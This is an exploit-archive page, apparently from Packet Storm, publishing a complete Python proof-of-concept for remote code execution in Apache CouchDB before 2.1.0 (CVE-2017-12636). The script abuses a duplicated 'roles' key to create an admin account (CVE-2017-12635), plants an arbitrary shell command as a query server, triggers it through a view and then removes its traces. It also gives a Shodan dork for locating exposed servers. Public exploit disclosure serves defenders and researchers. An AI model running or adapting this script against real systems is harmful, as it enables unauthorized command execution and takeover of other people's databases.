exploit the possibilities

Apache CouchDB Remote Code Execution

Apache CouchDB Remote Code Execution
Posted Jun 21, 2018
Authored by Cody Zacharias

Apache CouchDB versions prior to 2.1.0 remote code execution proof of concept exploit.

tags | exploit, remote, code execution, proof of concept
advisories | CVE-2017-12636
MD5 | 41cb849d4d5d1e2396ab8315d6910c18

Apache CouchDB Remote Code Execution

Change Mirror Download
# Title: Apache CouchDB < 2.1.0 - Remote Code Execution
# Author: Cody Zacharias
# Shodan Dork: port:5984
# Vendor Homepage: http://couchdb.apache.org/
# Software Link: http://archive.apache.org/dist/couchdb/source/1.6.0/
# Version: <= 1.7.0 and 2.x - 2.1.0
# Tested on: Debian
# CVE : CVE-2017-12636
# References:
# https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
# https://blog.trendmicro.com/trendlabs-security-intelligence/vulnerabilities-apache-couchdb-open-door-monero-miners/

# Proof of Concept: python exploit.py --priv -c "id" http://localhost:5984

#!/usr/bin/env python
from requests.auth import HTTPBasicAuth
import argparse
import requests
import re
import sys

def getVersion():
version = requests.get(args.host).json()["version"]
return version

def error(message):
print(message)
sys.exit(1)

def exploit(version):
with requests.session() as session:
session.headers = {"Content-Type": "application/json"}

# Exploit privilege escalation
if args.priv:
try:
payload = '{"type": "user", "name": "'
payload += args.user
payload += '", "roles": ["_admin"], "roles": [],'
payload += '"password": "' + args.password + '"}'

pr = session.put(args.host + "/_users/org.couchdb.user:" + args.user,
data=payload)

print("[+] User " + args.user + " with password " + args.password + " successfully created.")
except requests.exceptions.HTTPError:
error("[-] Unable to create the user on remote host.")

session.auth = HTTPBasicAuth(args.user, args.password)

# Create payload
try:
if version == 1:
session.put(args.host + "/_config/query_servers/cmd",
data='"' + args.cmd + '"')
print("[+] Created payload at: " + args.host + "/_config/query_servers/cmd")
else:
host = session.get(args.host + "/_membership").json()["all_nodes"][0]
session.put(args.host + "/_node/" + host + "/_config/query_servers/cmd",
data='"' + args.cmd + '"')
print("[+] Created payload at: " + args.host + "/_node/" + host + "/_config/query_servers/cmd")
except requests.exceptions.HTTPError as e:
error("[-] Unable to create command payload: " + e)

try:
session.put(args.host + "/god")
session.put(args.host + "/god/zero", data='{"_id": "HTP"}')
except requests.exceptions.HTTPError:
error("[-] Unable to create database.")

# Execute payload
try:
if version == 1:
session.post(args.host + "/god/_temp_view?limit=10",
data='{"language": "cmd", "map": ""}')
else:
session.post(args.host + "/god/_design/zero",
data='{"_id": "_design/zero", "views": {"god": {"map": ""} }, "language": "cmd"}')
print("[+] Command executed: " + args.cmd)
except requests.exceptions.HTTPError:
error("[-] Unable to execute payload.")

print("[*] Cleaning up.")

# Cleanup database
try:
session.delete(args.host + "/god")
except requests.exceptions.HTTPError:
error("[-] Unable to remove database.")

# Cleanup payload
try:
if version == 1:
session.delete(args.host + "/_config/query_servers/cmd")
else:
host = session.get(args.host + "/_membership").json()["all_nodes"][0]
session.delete(args.host + "/_node" + host + "/_config/query_servers/cmd")
except requests.exceptions.HTTPError:
error("[-] Unable to remove payload.")

def main():
version = getVersion()
print("[*] Detected CouchDB Version " + version)
vv = version.replace(".", "")
v = int(version[0])
if v == 1 and int(vv) <= 170:
exploit(v)
elif v == 2 and int(vv) < 211:
exploit(v)
else:
print("[-] Version " + version + " not vulnerable.")
sys.exit(0)

if __name__ == "__main__":
ap = argparse.ArgumentParser(
description="Apache CouchDB JSON Remote Code Execution Exploit (CVE-2017-12636)")
ap.add_argument("host", help="URL (Example: http://127.0.0.1:5984).")
ap.add_argument("-c", "--cmd", help="Command to run.")
ap.add_argument("--priv", help="Exploit privilege escalation (CVE-2017-12635).",
action="store_true")
ap.add_argument("-u", "--user", help="Admin username (Default: guest).",
default="guest")
ap.add_argument("-p", "--password", help="Admin password (Default: guest).",
default="guest")
args = ap.parse_args()
main()


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    28 Files
  • 2
    Nov 2nd
    1 Files
  • 3
    Nov 3rd
    1 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    19 Files
  • 6
    Nov 6th
    65 Files
  • 7
    Nov 7th
    22 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    1 Files
  • 10
    Nov 10th
    1 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    65 Files
  • 13
    Nov 13th
    27 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close